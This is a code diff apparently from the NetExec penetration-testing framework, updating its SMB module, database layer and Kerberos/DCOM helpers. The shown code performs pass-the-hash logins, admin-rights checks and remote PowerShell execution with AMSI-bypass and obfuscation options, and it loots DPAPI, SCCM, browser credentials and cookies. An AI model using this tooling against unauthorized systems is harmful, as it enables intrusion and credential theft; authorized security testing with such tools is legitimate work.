def hash_login(self, domain, username, ntlm_hash):
# Re-connect since we logged off
self.create_conn_obj()
lmhash = ""
nthash = ""
try:
@@ -444,14 +477,18 @@ class smb(connection):
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, nthash)
self.db.add_credential("hash", domain, self.username, self.hash)
user_id = self.db.get_credential("hash", domain, self.username, self.hash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -478,12 +515,15 @@ class smb(connection):
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.fail(f"Connection Error: {e}")
self.create_conn_obj()
return False
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
self.create_conn_obj()
return False
def create_smbv1_conn(self):
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
try:
self.conn = SMBConnection(
self.remoteName,
@@ -501,10 +541,10 @@ class smb(connection):
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
return True
def create_smbv3_conn(self):
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
try:
self.conn = SMBConnection(
self.remoteName,
@@ -527,26 +567,49 @@ class smb(connection):
return False
return True
def create_conn_obj(self):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def create_conn_obj(self, no_smbv1=False):
"""
Tries to create a connection object to the target host.
On first try, it will try to create a SMBv1 connection.
On further tries, it will remember which SMB version is supported and create a connection object accordingly.
:param no_smbv1: If True, it will not try to create a SMBv1 connection
"""
# Initial negotiation
if not no_smbv1 and self.smbv1 is None:
self.smbv1 = self.create_smbv1_conn()
if self.smbv1:
return True
else:
return self.create_smbv3_conn()
elif not no_smbv1 and self.smbv1:
return self.create_smbv1_conn()
else:
return self.create_smbv3_conn()
def check_if_admin(self):
self.logger.debug(f"Checking if user is admin on {self.host}")
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception:
pass
self.admin_privs = False
else:
with contextlib.suppress(Exception):
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
except Exception as e:
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
self.admin_privs = False
def gen_relay_list(self):
if self.server_os.lower().find("windows") != -1 and self.signing is False:
@@ -682,20 +745,21 @@ class smb(connection):
except UnicodeDecodeError:
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")
self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
if (self.args.execute or self.args.ps_execute) and output:
if (self.args.execute or self.args.ps_execute):
self.logger.success(f"Executed command via {current_method}")
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
if output:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
else:
self.logger.fail(f"Execute command failed with {current_method}")
@@ -707,34 +771,40 @@ class smb(connection):
if not payload:
self.logger.error("No command to execute specified!")
return None
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
self.logger.debug(f"ps_execute response: {response}")
return response
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
permissions = []
try:
self.logger.debug(f"domain: {self.domain}")
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
except IndexError as e:
if self.kerberos:
pass
else:
self.logger.fail(f"IndexError: {e!s}")
except Exception as e:
error = get_error_string(e)
self.logger.fail(f"Error getting user: {error}")
@@ -763,6 +833,8 @@ class smb(connection):
share_info = {"name": share_name, "remark": share_remark, "access": []}
read = False
write = False
write_dir = False
write_file = False
try:
self.conn.listPath(share_name, "*")
read = True
@@ -774,18 +846,40 @@ class smb(connection):
if not self.args.no_write_check:
try:
self.conn.createDirectory(share_name, temp_dir)
write = True
share_info["access"].append("WRITE")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
if write:
write_dir = True
try:
self.conn.deleteDirectory(share_name, temp_dir)
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
else:
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
try:
tid = self.conn.connectTree(share_name)
fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE)
self.conn.closeFile(tid, fid)
write_file = True
try:
self.conn.deleteFile(share_name, temp_file)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
else:
self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking WRITE access with file on share {share_name}: {error}")
# If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404
if write_dir or write_file:
write = True
share_info["access"].append("WRITE")
permissions.append(share_info)
@@ -809,6 +903,75 @@ class smb(connection):
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
return permissions
@requires_admin
def interfaces(self):
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Made by: @Sant0rryu, @NeffIsBack
"""
try:
remoteOps = RemoteOperations(self.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
self.logger.error(f"Failed to connect to the target: {e!s}")
def get_dc_ips(self):
dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
if not dc_ips:
@@ -1277,7 +1440,7 @@ class smb(connection):
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
@@ -1300,7 +1463,6 @@ class smb(connection):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
@@ -1383,7 +1545,7 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
return
try:
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
@@ -1398,7 +1560,7 @@ class smb(connection):
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
try:
# Collect Chrome Based Browser stored secrets
@@ -1588,7 +1750,6 @@ class smb(connection):
"Google Refresh Token",
)
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
@@ -1774,3 +1935,6 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
NTDS.finish()
def mark_guest(self):
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
+66 -86
View File
@@ -1,27 +1,25 @@
import base64
import sys
import warnings
from datetime import datetime
from pathlib import Path
from typing import Optional
from sqlalchemy import MetaData, func, Table, select, delete
from sqlalchemy import func, Table, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
from typing import Optional
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
warnings.filterwarnings("ignore", category=SAWarning)
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.HostsTable = None
self.UsersTable = None
@@ -35,16 +33,7 @@ class database:
self.DpapiBackupkey = None
self.DpapiSecrets = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -199,19 +188,6 @@ class database:
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
# pull/545
def add_host(
self,
@@ -231,7 +207,7 @@ class database:
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
# create new host
if not results:
@@ -284,7 +260,7 @@ class database:
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.conn.execute(q, hosts) # .scalar()
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
@@ -304,7 +280,7 @@ class database:
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
# add new credential
if not results:
@@ -346,12 +322,12 @@ class database:
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.conn.execute(q_users, credentials) # .scalar()
self.db_execute(q_users, credentials) # .scalar()
if groups:
q_groups = Insert(self.GroupRelationsTable)
self.conn.execute(q_groups, groups)
self.db_execute(q_groups, groups)
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
@@ -359,14 +335,18 @@ class database:
for cred_id in creds_id:
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.conn.execute(q)
self.db_execute(q)
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
add_links = []
creds_q = select(self.UsersTable)
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password)
users = self.conn.execute(creds_q)
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
self.UsersTable.c.password == password)
users = self.db_execute(creds_q)
hosts = self.get_hosts(host)
if users and hosts:
@@ -378,7 +358,7 @@ class database:
self.AdminRelationsTable.c.userid == user_id,
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.conn.execute(admin_relations_select).all()
links = self.db_execute(admin_relations_select).all()
if not links:
add_links.append(link)
@@ -386,7 +366,7 @@ class database:
admin_relations_insert = Insert(self.AdminRelationsTable)
if add_links:
self.conn.execute(admin_relations_insert, add_links)
self.db_execute(admin_relations_insert, add_links)
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
@@ -396,7 +376,7 @@ class database:
else:
q = select(self.AdminRelationsTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def remove_admin_relation(self, user_ids=None, host_ids=None):
q = delete(self.AdminRelationsTable)
@@ -406,7 +386,7 @@ class database:
elif host_ids:
for host_id in host_ids:
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.conn.execute(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -414,7 +394,7 @@ class database:
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
@@ -432,7 +412,7 @@ class database:
else:
q = select(self.UsersTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
@@ -441,22 +421,22 @@ class database:
self.UsersTable.c.password == password,
self.UsersTable.c.credtype == cred_type,
)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
return results.id
def is_credential_local(self, credential_id):
q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id)
user_domain = self.conn.execute(q).all()
user_domain = self.db_execute(q).all()
if user_domain:
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None, domain=None):
@@ -466,7 +446,7 @@ class database:
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by domain controllers
@@ -491,14 +471,14 @@ class database:
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"smb hosts() - results: {results}")
return results
def is_group_valid(self, group_id):
"""Check if this group ID is valid."""
q = select(self.GroupsTable).filter(self.GroupsTable.c.id == group_id)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
valid = bool(results)
nxc_logger.debug(f"is_group_valid(groupID={group_id}) => {valid}")
@@ -530,7 +510,7 @@ class database:
# insert the group and get the returned id right away, this can be refactored when we can use RETURNING
q = Insert(self.GroupsTable)
self.conn.execute(q, groups)
self.db_execute(q, groups)
new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"])
returned_id = [new_group_data[0].id]
nxc_logger.debug(f"Inserted group with ID: {returned_id[0]}")
@@ -561,7 +541,7 @@ class database:
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns)
self.conn.execute(q, groups)
self.db_execute(q, groups)
# TODO: always return a list and fix code references to not expect a single integer
#
if updated_ids:
@@ -572,7 +552,7 @@ class database:
"""Return groups from the database"""
if filter_term and self.is_group_valid(filter_term):
q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif group_name and group_domain:
@@ -586,7 +566,7 @@ class database:
else:
q = select(self.GroupsTable).filter()
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}")
return results
@@ -602,7 +582,7 @@ class database:
elif group_id:
q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def remove_group_relations(self, user_id=None, group_id=None):
q = delete(self.GroupRelationsTable)
@@ -610,12 +590,12 @@ class database:
q = q.filter(self.GroupRelationsTable.c.userid == user_id)
elif group_id:
q = q.filter(self.GroupRelationsTable.c.groupid == group_id)
self.conn.execute(q)
self.db_execute(q)
def is_user_valid(self, user_id):
"""Check if this User ID is valid."""
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_users(self, filter_term=None):
@@ -627,14 +607,14 @@ class database:
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.UsersTable.c.username).like(like_term))
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_user(self, domain, username):
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_domain_controllers(self, domain=None):
return self.get_hosts(filter_term="dc", domain=domain)
@@ -642,7 +622,7 @@ class database:
def is_share_valid(self, share_id):
"""Check if this share ID is valid."""
q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}")
return len(results) > 0
@@ -656,7 +636,7 @@ class database:
"read": read,
"write": write,
}
self.conn.execute(
self.db_execute(
Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id),
share_data,
) # .scalar_one()
@@ -669,7 +649,7 @@ class database:
q = select(self.SharesTable).filter(self.SharesTable.c.name.like(like_term))
else:
q = select(self.SharesTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_shares_by_access(self, permissions, share_id=None):
permissions = permissions.lower()
@@ -680,17 +660,17 @@ class database:
q = q.filter(self.SharesTable.c.read == 1)
if "w" in permissions:
q = q.filter(self.SharesTable.c.write == 1)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_users_with_share_access(self, host_id, share_name, permissions):
permissions = permissions.lower()
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id)
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name,
self.SharesTable.c.hostid == host_id)
if "r" in permissions:
q = q.filter(self.SharesTable.c.read == 1)
if "w" in permissions:
q = q.filter(self.SharesTable.c.write == 1)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
@@ -699,7 +679,7 @@ class database:
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkey).filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
@@ -708,7 +688,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id)
self.conn.execute(q, [backup_key]) # .scalar()
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
@@ -721,7 +701,7 @@ class database:
q = select(self.DpapiBackupkey)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
@@ -735,7 +715,7 @@ class database:
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecrets).filter(func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
return valid
@@ -760,10 +740,10 @@ class database:
}
q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id)
self.conn.execute(q, [secret]) # .scalar()
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
@@ -779,12 +759,12 @@ class database:
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecrets.c.id == filter_term)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecrets.c.host == host)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
@@ -797,7 +777,7 @@ class database:
q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
@@ -807,7 +787,7 @@ class database:
self.LoggedinRelationsTable.c.userid == user_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.conn.execute(relation_query).all()
results = self.db_execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -817,7 +797,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.conn.execute(q, [relation]) # .scalar()
self.db_execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(user_id, host_id)
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
@@ -830,7 +810,7 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def remove_loggedin_relations(self, user_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -838,15 +818,15 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.conn.execute(q)
self.db_execute(q)
def get_checks(self):
q = select(self.ConfChecksTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_check_results(self):
q = select(self.ConfChecksResultsTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def insert_data(self, table, select_results=None, **new_row):
"""
@@ -878,14 +858,14 @@ class database:
q = Insert(table) # .returning(table.c.id)
update_column = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=table.primary_key, set_=update_column)
self.conn.execute(q, results) # .scalar()
self.db_execute(q, results) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
return updated_ids
def add_check(self, name, description):
"""Check if this check item has already been added to the database, if not, add it in."""
q = select(self.ConfChecksTable).filter(self.ConfChecksTable.c.name == name)
select_results = self.conn.execute(q).all()
select_results = self.db_execute(q).all()
context = locals()
new_row = {column: context[column] for column in ("name", "description")}
updated_ids = self.insert_data(self.ConfChecksTable, select_results, **new_row)
@@ -897,7 +877,7 @@ class database:
def add_check_result(self, host_id, check_id, secure, reasons):
"""Check if this check result has already been added to the database, if not, add it in."""
q = select(self.ConfChecksResultsTable).filter(self.ConfChecksResultsTable.c.host_id == host_id, self.ConfChecksResultsTable.c.check_id == check_id)
select_results = self.conn.execute(q).all()
select_results = self.db_execute(q).all()
context = locals()
new_row = {column: context[column] for column in ("host_id", "check_id", "secure", "reasons")}
updated_ids = self.insert_data(self.ConfChecksResultsTable, select_results, **new_row)
+1 -1
View File
@@ -88,7 +88,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
s4u_byte_array += impersonate.encode() + b(domain) + b"Kerberos"
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
+2 -1
View File
@@ -103,7 +103,8 @@ class MMCEXEC:
)
try:
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
except Exception:
except Exception as e:
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
+1
View File
@@ -34,6 +34,7 @@ def proto_args(parser, parents):
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
